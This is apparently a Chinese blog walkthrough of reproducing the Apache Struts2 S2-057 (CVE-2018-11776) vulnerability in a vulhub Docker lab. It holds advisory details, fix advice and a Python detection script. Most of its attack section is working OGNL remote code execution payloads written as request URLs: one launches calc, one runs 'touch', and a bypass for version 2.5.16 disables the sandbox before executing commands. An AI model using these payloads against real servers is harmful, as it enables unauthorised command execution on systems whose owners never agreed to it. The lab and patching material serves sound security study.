zoukankan      html  css  js  c++  java
  • 8.Struts2-057漏洞复现

    漏洞信息:

    定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。

    url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。

    官方解决方案:

    升级至版本2.3.35或2.5.17。这两个版本仅仅只是更新了安全补丁,不存在兼容性问题。

    临时解决方案:

    推荐用户及时更新,但如果不想更新,可暂时使用官方提供的临时解决方案:当上层动作配置中未设置或使用通配符namespace时,

    验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。

    影响范围

    所有Struts2开发者及用户

    漏洞影响

    有可能会导致远程代码执行

    最高安全风险

    关键

    推荐防护措施

    更新至2.3.35或2.5.17

    影响版本

    Struts 2.3 – Struts 2.3.34, Struts 2.5 – Struts 2.5.16

    其余版本也可能会受到影响

    漏洞报告人

    Man Yue Mo@Semmle Security Research team

    CVE编号

    CVE-2018-11776

    漏洞复现:

    这里使用 docker-composevulnhub 来搭建漏洞利用环境,

    使用的漏洞来自: https://github.com/vulhub/vulhub

    本机使用的是Ubuntu系统,克隆vulhub,并且进入到漏洞文件中:

    git clone https://github.com/vulhub/vulhub
    
    cd vulhub/struts2/s2-048

     启动漏洞环境并查看容器:

    docker-compose up -d
    
    docker ps -a

    在容器里面开启一个交互模式的终端:

    docker exec -i -t <你上面显示的CONTAINER ID> /bin/bash

    根据公告 https://struts.apache.org/releases.html

    发现Struts 2.5.16存在s2-057漏洞,然后去下载这个版本,来复现漏洞:

    https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip/

    apt-get update -y
    mkdir /usr/local/tomcat/webapps/test
    wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip
    apt-get install unzip -y
    unzip struts-2.5.16-all.zip
    cp struts-2.5.16/apps/struts2-showcase.war /usr/local/tomcat/webapps/

    修改配置文件:

    先查找文件struts-actionchaining.xml,发现有2处需要修改

    locate struts-actionchaining.xml

    定位这个文件,发现位置在:

    /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
    /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml

    配置文件修改-参考链接: https://lgtm.com/blog/apache_struts_CVE-2018-11776

    改为如下所示:

    <struts>
        <package name="actionchaining" extends="struts-default">
            <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
               <result type="redirectAction">
                 <param name = "actionName">register2</param>
               </result>
            </action>
        </package>
    </struts>

    然后去bin目录,kill掉进程,因为修改了配置文件,所以需要重启服务:

    cd /usr/local/tomcat/bin/
    ./shutdown.sh 

     

    重启服务,st2-057搭建完成:

    docker-compose up -d

     

    验证st2-057:

    docker靶机:http://127.0.0.1:8080/struts2-showcase

    访问docker搭建好的漏洞页面:

    http://127.0.0.1:8080/struts2-showcase/${(111+111)}/register2.action
    会被引导访问到:
    http://127.0.0.1:8080/struts2-showcase/222/register2.action
    漏洞就是从这里出现,其中url中222部分为ognl表达式 ${(111+111)} 执行结果
    如果我们把ognl表达式换成我们的poc,就可以构成代码执行漏洞

     

     

    根据jas502n大佬提供的poc

     ${(111+111)} 可以替换成以前的poc,例如S2-032

    http://www.xxx.com:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

    附上一张大佬成功弹出计算机的图:

    poc-example:

    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

    拆分:

    ${
    (
    #_memberAccess["allowStaticMethodAccess"]=true,
    #a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),
    #b=new java.io.InputStreamReader(#a),
    #c=new java.io.BufferedReader(#b),
    #d=new char[51020],
    #c.read(#d),
    #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
    #jas502n.println(#d),
    #jas502n.close())
    }
    

    不过好像低版本能弹计算器,高版本不能 :

    换成低版本的试一下:

    漏洞环境:struts-2.2.3.1-all.zip

    下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.2.3.1-all.zip

    poc for Windows:

    http://127.0.0.1:8080/struts3-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec('calc').getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew %20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5b51020%5d%2c%23c.read(%23d)%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23sbtest.println(%23d)%2c%23sbtest.close())%7d/actionChain1.action

    poc for Linux:

    http://127.0.0.1:8080/struts3-showcase/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27touch /tmp/jas502n%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action

    Bypass for struts-2.5.16-all.zip

    Poc for Example-Linux Docker:

    http://127.0.0.1:44449/struts2-showcase/actionchaining/$%7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec('touch /tmp/jas502n'))%7D/actionChain1.action

    这里给出一个检测str2-057的工具,后门自检:

    链接: https://pan.baidu.com/s/18fsoeA5E9qXdbKovZx83EQ    密码:eu97

    漏洞检测poc:

    import sys
    import requests
    
    url = sys.argv[1]
    url_list = [i for i in url.split("/") if i != '']
    
    payload = "${(65535+521)}"
    
    payload = "/" + payload + "/"
    num = 0
    for str in url_list:
    	num += 1
    	if num == 1:
    		nurl = str
    		continue
    	elif num == 2:
    		nurl = nurl + "//" + str
    		continue
    	elif num == len(url_list):
    		nurl = nurl + payload + str
    		continue
    	else:
    		nurl = nurl + "/" + str
    		continue
    
    try:
    	r = requests.head(nurl, stream=True).headers["Location"]
    except:
    	print "不存在ST2-057漏洞!"
    	exit()
    
    if r.find("66056") != -1:
    	print "存在ST2-057漏洞!"
    else:
    	print "不存在ST2-057漏洞!"
    

    修复建议:

    官方提供的临时解决方案:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,

    同时在JSP中验证所有url标签的value和action。    

    目前Apache官方发布新版本(2.3.35或2.5.17版本)中修复了该漏洞,建议更新

    参考链接:

    漏洞详情分析:https://xz.aliyun.com/t/2618

    https://www.anquanke.com/post/id/157397

    https://github.com/jas502n/St2-057

    https://lgtm.com/blog/apache_struts_CVE-2018-11776

  • 相关阅读:
    kbmmw 5.14.00 发布
    关于C++ auto使用要注意的一点
    git设置socks5代理
    电子书分享网站
    spring cache相关
    intellij idea开启debug热加载/热部署
    git 多次commit合并成一次提交
    es feature一览
    数据中台
    Java Agent
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9533378.html
Copyright © 2011-2022 走看看